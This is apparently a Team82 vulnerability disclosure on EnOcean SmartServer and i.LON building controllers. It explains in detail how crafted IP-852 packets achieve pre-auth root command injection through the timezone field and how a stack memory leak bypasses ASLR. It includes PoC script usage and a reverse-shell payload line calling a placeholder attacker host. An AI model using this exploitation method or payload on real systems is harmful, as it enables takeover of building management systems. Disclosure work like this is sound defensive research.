Team82 Logo Claroty
Return to Team82 Research

Exploiting EnOcean SmartServer to Attack Connected Building Management Systems

/

Executive Summary

  • Team82 has uncovered two vulnerabilities in EnOcean’s SmartServer IoT platform

  • The vulnerabilities affect EnOcean SmartServer IoT version 4.60.009 and prior

  • CVE-2026-20761 allows remote attackers to send malicious, crafted LON IP-852 messages that result in arbitrary command execution on devices; this was assessed a CVSS v3 score of 8.1

  • CVE-2026-22885 allows remote attackers to send malicious, crafted IP-852 messages that bypass ASLR memory protections and leak memory; this was assessed a CVSS v3 score of 3.7

  • Successful exploits result in attackers obtaining control over building management and building automation systems running affected versions of this platform and legacy i.LON devices

  • EnOcean has provided mitigations for each vulnerability, and recommends users update the SmartServer platform software to SmartServer 4.6 Update 2 (v4.60.023)

Introduction

Team82’s previous research into the LonTalk protocol and the CEA-852 standard demonstrates the means by which a legacy protocol such as LonTalk is being retro-fitted to support connectivity for building management systems and other smart internet-of-things devices critical to the operation of facilities in various critical industries. While this activity does improve overall management of power systems, heating and cooling systems, physical security systems, and other BMS, it does open up new attackable exposures that could put facilities at risk. 

We present our research on EnOcean’s SmartServer IoT and i.LON controllers, which connect building automation and management systems to the internet. SmartServer IoT is EnOcean’s modern BMS controller, while the i.LON controllers are legacy devices originally developed by Echelon.

We uncovered two vulnerabilities in how each system implements the CEA-852 standard, enabling code execution with root privileges. Successful exploits of these vulnerabilities could allow an attacker to gain full root access to the controllers, control BMS logic, and move laterally toward field devices, disrupting HVAC, power, and environmental systems.

EnOcean has addressed both vulnerabilities in a recent update. Users are advised to upgrade the SmartServer platform software to version 4.6 Update 2 (v4.60.023) or later.

CEA-852 Implementation Vulnerabilities on EnOcean SmartServer and i.LON Devices 

Remote Code Execution in EnOcean SmartServer and i.LON Devices (CVE-2026-20761)

One of the most critical vulnerabilities we discovered is the ability to remotely execute arbitrary code on EnOcean devices as root, and this can be done without prior authentication (pre-auth). This is extremely dangerous; any EnOcean device exposed to the Internet with IP-852 packets enabled is a straightforward target. The attack we developed abuses a severe vulnerability we identified (CVE-2026-20761) in the handling of an Echelon proprietary IP-852 packet used for timezone setting. By exploiting improper validation of packet input, an attacker can control an argument passed to the device’s built-in system call and achieve full takeover of the Linux-based device, gaining root privileges and arbitrary code execution.

In this writeup we cover the vulnerabilities from the ground up. First, we identify an internal, vulnerable function that improperly handles input which later reaches the operating-system system call. Next, we show how an attacker can control that input and, by sending specially crafted IP-852 packets (with no authentication), execute arbitrary commands as root.

Vulnerable System Function Call

We discovered that LtSetTimeZone in libLonStack.so constructs a shell command from a supplied timezone string and executes it via system with root privileges. 

LtSetTimeZone in libLonStack.so showing where the timezone command is validated, constructed, and passed to system for execution

In the screenshot above, we can see the portion of LtSetTimeZone responsible for setting the device’s timezone. We break down the explanation of this function into key parts:

  1. The function declaration shows that it accepts a single input parameter: a string containing the timezone value.  

  2. A validation check ensures that the binary responsible for setting the timezone, named set-timezone, exists on the device (using the Linux which command).

  3. Constructing the shell command to be executed on the device. By the end of this code section, the command string will be structured as follows:

The built-in shell command passed to system for execution to set the device’s timezone

In the illustration above, we can see that the timezone string is a variable input provided to the LtSetTimeZone function, whereas the other parts of the command are hardcoded and cannot be modified.

  1. The shell command is passed to the system function and executed on the device.

We can see that an attacker can bypass the quoting and inject arbitrary shell commands by supplying a maliciously crafted timezone string, for example:

A maliciously crafted timezone string that escapes quoting and injects arbitrary shell commands.

The illustration demonstrates an example of a crafted timezone value that, if an attacker can freely influence the input to LtSetTimeZone, will cause the system call to execute arbitrary shell commands.

It is worth noting that the LtSetTimeZone function is not implemented in the LtIpPlatform.cpp source file published on EnOcean’s official GitHub repository. This means the vulnerability is not visible in the open-source code and can only be identified through binary analysis of the library stored on the device.

Exploring the Private Echelon Configuration Packet Type 

Based on the preceding analysis, we aim to determine whether an attacker can modify the timezone value and which access vectors or privileges that would require.

Examining callers of the vulnerable LtSetTimeZone function shows it is invoked by void LtIpMaster::doRFCin in LtIpMaster.cpp . doRFCin (RFC is the CEA-852 internal name for IP-852) is the main input handler for IP-852 messages, it dispatches incoming packets using a switch on packet type and processes each case accordingly.

We discovered that LtSetTimeZone is invoked while handling the PKTTYPE_ECHCONFIG (0xF3) packet. This is an Echelon proprietary packet type (it requires the vendor code 0x01). Below we examine the handler to understand what operations this packet supports and the potential impact of an attacker sending such a packet.

Screenshot of the PKTTYPE_ECHCONFIG handling within the doRFCin function (in LtIpMaster.cpp), with three key components highlighted

There are three key components to consider, each highlighted above with a red rectangle:

  1. We have to pass the bFromCfgServer check, a boolean flag indicating whether the message originated from the configuration server.

  2. We need to construct a valid PKTTYPE_ECHCONFIG (0xF3) message, conforming to the structure expected by the LtIpEchConfig::parse function in LtIpEchPackets.cpp.

  3. We have to ensure that the bUseTZ flag is set; this boolean determines whether the timezone specified in the PKTTYPE_ECHCONFIG message should be applied.

Ensuring bFromCfgServer Flag Is Set to True

There is a check in doRFCin that determines if to set bFromCfgServer to True (default is False).

The section in doRFCin that checks whether the received packet was sent from the configuration server.

We notice there are three options to pass the check shown above (we need to fulfill at least one of them):

  1. The configuration server IP address is not set (m_ipAddrCfgServer = 0).

  2. The message is received from the configuration server’s IP address and port (ipSrcAddr = m_ipAddrCfgServer and ipSrcPort = m_ipPortCfgServer).

  3. The message CNIP header includes the extended header feature with the configuration server’s IP address and port specified.

We used the third option by enabling the extended header feature in the CNIP header, which allows specifying the configuration server’s IP address and port.

The CNIP header with the standard extended header is as follows:

A CNIP header with the standard extended header bytes.

The illustration above shows the CNIP header when the extended header size field is set to 0x03, indicating that the CNIP header includes 12 additional bytes of the extended header. The extended header fields are as follows:

  • Local IP: The local IP address of the configuration server

  • NAT IP: The device’s NAT IP address, if applicable.

  • IP Port: The port number associated with the configuration server’s IP address.

To obtain the configuration server’s IP address and port (and the NAT address, if present), a PKTTYPE_REQDEVCONFIG (0x63) request can be sent. The device responds with a PKTTYPE_DEVCONFIG (0x71) packet containing this information. Both are standard IP-852 packet types with the vendor code set to 0x01.

Once we have the necessary information to construct the extended header, the message will pass the check that verifies it was sent on behalf of the configuration server. As a result, the bFromCfgServer flag will be set to True.

Construction of PKTTYPE_ECHCONFIG Message 

Based on the LtIpEchConfig::parse function, we can determine the structure of the PKTTYPE_ECHCONFIG packet: 

The PKTTYPE_ECHCONFIG parsing code, showing where the szTimeZone (timezone) and bUseTZ values are assigned.

The structure of the PKTTYPE_ECHCONFIG packet, as derived from the code above, is as follows:

Illustration of PKTTYPE_ECHCONFIG packet payload structure.

Where:

  • Datetime: Represents the number of seconds since Jan. 1, 1900. Used to record the timestamp of the request or response.

  • Flags: Bitmask of configuration flags. Each bit represents a specific setting or behavior defined in the protocol.
    Aggregation timer: Aggregation timer in milliseconds; it defines how long messages may be aggregated before being transmitted.

  • BW limit kB/s: Bandwidth limitation in kB per second, controlling maximum transmission rate.

  • Escrow timer: Receive reorder escrow timer in milliseconds.

    • Must be less than the channel timeout.

    • A typical value is about 1/10 of the channel timeout.

    • A value of 0 implies it should match the aggregation timer.

  • TOS bits: Specifies the Type of Service (ToS) bits for socket traffic handling (IP QoS).
    Timezone: Null-terminated string representing the configured time zone.

As explained above, for the timezone to take effect on the device, the bUseTZ bit in the flags field must be set to 1.

Exploitation Flow

The illustration below depicts the attack sequence used by an attacker against the SmartServer IoT:

A message-flow between an attacker and the SmartServer, demonstrating the steps that lead to remote code execution.

The illustration above shows the message flow between an attacker and the SmartServer, divided into two main groups of message steps (highlighted in red in the figure):

  • Retrieve configuration server prior information: An adversary can send a PKTTYPE_REQDEVCONFIG (0x63) request to retrieve SmartServer information in the PKTTYPE_DEVCONFIG (0x71) response, including the configuration server’s IP address, its port, and the server’s NAT IP address (if present).

  • Sending a crafted Echelon private-configuration message to the server: The adversary uses the data obtained from the PKTTYPE_DEVCONFIG (0x71) response into the extended header of a specially crafted PKTTYPE_ECHCONFIG (0xF3) packet, which is then transmitted to the server.

A crafted PKTTYPE_ECHCONFIG packet, annotated with important fields

The illustration above shows the crafted malicious PKTTYPE_ECHCONFIG packet, with five key fields highlighted for emphasis:

  1. The extended header size is set to 0x03 to enable parsing of the 12-byte standard extended header appended to the end of the CNIP header.

  2. The vendor code is set to 0x01, indicating that the current message is an Echelon proprietary packet type.

  3. The 12-byte standard extended header is appended to the CNIP header and contains the configuration server’s IP address, its port, and the device’s NAT IP address (if present).

  4. The bUseTZ bit in the payload’s flags field is set to 1, indicating the timezone value will be applied when the message is parsed.

  5. The malicious timezone field contains a crafted string that injects arbitrary shell commands, followed by zero-byte padding so the field totals 128 bytes.

After the server receives the malicious PKTTYPE_ECHCONFIG message, processing the packet causes the server to execute the injected payload with root privileges, resulting in remote-code-execution (RCE).

Proof-of-Concept Exploit 

We demonstrate the exploitation using a Python script that implements a proof‑of‑concept for the vulnerability described above.

Script usage:

python LonTalk_IP852_UDP_RCE_PoC.py <ip> <port> <bash_script_path>
  • <ip>: IP address of the SmartServer.

  • <port>: LonTalk port on the SmartServer (commonly 1628 or 1629).

  • <bash_script_path>: Path to a shell script containing the commands to be executed on the server. These commands will run with root privileges.

Exploitation setup: configuration server (top left), target SmartServer (top right), and attacker (bottom)

Before transmitting the malicious message, the attacker starts a netcat listener on port 1337. The script to be executed on the target is reverse_shell.sh, whose contents are:

nc -e /bin/sh <ATTACKER_IP> 1337

This launches a reverse shell that connects back to a netcat listener at <ATTACKER_IP>:1337, granting an operator root‑level remote control of the SmartServer’s operating system (Linux) for demonstration purposes.

Memory Leak Enabling ASLR Bypass in EnOcean SmartServer and i.LON Devices (CVE-2026-22885)

We discovered that insufficient boundary checking on user-controlled data can lead to a stack memory disclosure (CVE-2026-22885). This allows an attacker to leak arbitrary values or pointers that are located on the program’s stack, leaking any data that resides there. This primitive could be used to leak a pointer which could be used to determine the base address of the running program, effectively bypassing ASLR (Address Space Layout Randomization) enforced by the operating system. It exists alongside the previous vulnerability and is independently exploitable for information disclosure.

Mishandling of the Extended Header Parsing

The root cause of this insufficient boundary check vulnerability lies in the extended header parsing implemented in LtIpPktHeader::parse (in LtIpPackets.cpp).

Screenshot of the LtIpPktHeader parsing code, showing how the user-controlled extndHdrSize byte determines how the extended header is parsed.

The screenshot above shows how the IP-852 packet header parsing function handles the user-controlled extndHdrSize byte when parsing the extended header bytes that may be appended to the standard IP-852 header. The process is as follows:

  1. If extndHdrSize is equal to 0x03, the extended header length is 12 bytes (the actual size of the extended header is extndHdrSize multiplied by 4). In this case, the code parses the extension in the same manner as the standard extended header, as shown earlier in the CNIP header illustration with the standard extended header. Moreover, the global flag bHasExtHdr, which indicates the presence of an extended header in the packet, is set to True.

  2. If extndHdrSize differs from 0x03, the code advances the end of the CNIP header by extndHdrSize*4, assuming this offset marks the end of the header and the beginning of the data payload, and sets the bHasExtHdr flag to False as well. This calculation is performed without validating the extndHdrSize value or sanitizing the content within the computed range. This lack of validation constitutes the root cause of the vulnerability.


Incoming Packets Buffer Allocation in Memory

To understand where and how the data buffer for incoming packets is allocated and stored in memory, we examined the CIpLink::receiveTask function (in IpLink.cpp), which is responsible for receiving incoming IP-852 packets over IP traffic. Each received packet is stored in a stack-based buffer with a maximum size of 576 bytes, as shown in the screenshot below:

Screenshot from CIpLink::receiveTask, showing the declaration of the data stack variable that holds the received buffer from the socket

Leveraging Echelon Proprietary Time Synchronization Messages for Memory Leakage 

With this information in hand, we needed to determine how to exploit the insufficient boundary check to leak memory contents through IP-852 packets. During our analysis, we identified an undocumented, proprietary Echelon IP-852 packet type PKTTYPE_TIMESYNCHREQ (0xF1) used for time synchronization. 


This packet type is particularly advantageous for exploitation because: 

  • It does not require the sender to be the configuration server (nor to impersonate one). 

  • The controller responds with PKTTYPE_TIMESYNCHRSP (0xF2), echoing back the data it received from the client.

Illustration of PKTTYPE_TIMESYNCHREQ and PKTTYPE_TIMESYNCHRSP packets payload structure

In the illustration above, we show the payload structures of the PKTTYPE_TIMESYNCHREQ and PKTTYPE_TIMESYNCHRSP packets. Both packet types share an identical structure. The PKTTYPE_TIMESYNCHREQ is sent by the client and includes valid values only in the Datetime Client and Timestamp Client fields, while the corresponding server fields are ignored. The server responds with a PKTTYPE_TIMESYNCHRSP, populating the Datetime Server and Timestamp Server fields with its current values, while echoing back the client-provided fields unchanged.

The OS is using an ASLR mechanism to randomize the base addresses of the process’s memory regions (stack, heap, executable and shared libraries) on each load, preventing attackers from reliably predicting where code or data will reside.

However, by exploiting the extndHdrSize out-of-bounds memory access vulnerability, we can leak a runtime function pointer from the stack and use it to infer the base address at which libLonStack.so is loaded, effectively bypassing ASLR.

Exploitation Flow

An attacker can craft a malicious PKTTYPE_TIMESYNCHREQ packet containing a non-standard extndHdrSize value (different from 0x03).

Illustration of a valid CNIP header with a non-standard extended header of X bytes.

In a scenario where an attacker crafts a malicious PKTTYPE_TIMESYNCHREQ packet with a corrupted CNIP header that claims to contain 4*X bytes (X ≠ 0x03) of a non-standard extended header, but in practice includes only the fixed NIP header, the controller is forced to parse the PKTTYPE_TIMESYNCHREQ payload from an 4*X-byte offset relative to the end of the fixed CNIP header in stack memory.

As described earlier, the PKTTYPE_TIMESYNCHRSP response packet generated by the controller echoes back the parsed data received from the client. In this case, the echoed data is read from the 4*X-byte offset within the stack, rather than from the actual end of the CNIP header as the controller assumes.

This behavior effectively results in stack memory leakage over IP-852, as arbitrary stack data is leaked to the client within the PKTTYPE_TIMESYNCHRSP packet.

Illustration of a crafted PKTTYPE_TIMESYNCHREQ packet, annotated with important fields

The illustration above shows the crafted malicious PKTTYPE_TIMESYNCHREQ packet, with three key fields highlighted for emphasis:

  1. The extended header size field is set to an X value greater than 0x03, causing the controller to assume that a non-standard extended header of X bytes is appended to the fixed-size CNIP header (20 bytes). As a result, the controller skips these 4*X bytes, under the assumption that the payload begins at an 4*X-byte offset from the end of the fixed CNIP header.

  2. The vendor code is set to 0x01, indicating that the current message is an Echelon proprietary packet type.

  3. A 16‑byte dummy payload that can contain arbitrary data. In practice, the packet’s parsed data is read from the 4*X‑byte offset in stack memory, rather than from the actual payload sent by the client.

Illustration of stack memory showing how an incoming PKTTYPE_TIMESYNCHREQ packet is stored during processing

The illustration above shows the stack memory when the controller receives a malicious PKTTYPE_TIMESYNCHREQ packet. The controller parses the effective payload starting from the 4*X‑byte offset of the fixed-size CNIP header, which we refer to as STACK DATA fields (4 bytes each).

Consequently, the PKTTYPE_TIMESYNCHRSP response generated by the controller contains stack memory data, as illustrated below:

Illustration of the message flow between an attacker and the SmartServer, demonstrating the steps that lead to a stack memory leak

The illustration above demonstrates how the STACK DATA 1 and STACK DATA 3 fields (as shown in the previous stack illustration) can be leaked from stack memory. By selecting an appropriate X value, these leaked fields may contain a runtime function pointer, which can then be used to derive the base address of libLonStack.so as loaded in memory, effectively bypassing the ASLR mechanism.

Proof-of-Concept Exploit

We demonstrate the exploitation using a Python script that implements a proof‑of‑concept for the vulnerability described above.

Script usage:

python LonTalk_IP852_UDP_ASLR_bypass_PoC.py <ip> <port> 
  • <ip>: IP address of the SmartServer.

  • <port>: LonTalk port on the SmartServer (commonly 1628 or 1629).

Illustration of the exploitation setup: configuration server (left), target and the SmartServer (right)

The ASLR bypass PoC: the left-top terminal shows the Python script execution, the left-bottom terminal displays SmartServer ssh session with the libLonStack.so runtime address, and the bottom-right terminal captures the network traffic using Wireshark, highlighting the relevant packets.

Wrapping Up

Team82 uncovered two vulnerabilities in EnOcean’s SmartServer IoT platform and i.LON devices that connect building management systems to the internet. An attacker exploiting these vulnerabilities can bypass memory protections on the device, leak memory, and execute arbitrary OS commands. 

As more BMS comes online through these platforms, these critical systems will be exposed to new risks that must be addressed. This is especially relevant in sensitive facilities such as manufacturing, defense, and data centers.

EnOcean has addressed both vulnerabilities in a recent update and users are advised to update the SmartServer platform software to SmartServer 4.6 Update 2 (v4.60.023) or a later release. 

Amir Zaltzman

Vulnerability Researcher

Amir Zaltzman is a vulnerability researcher on Team82.

Stay in the know Get the Team82 Newsletter
Recent Vulnerability Disclosures
Claroty
LinkedIn Twitter YouTube Facebook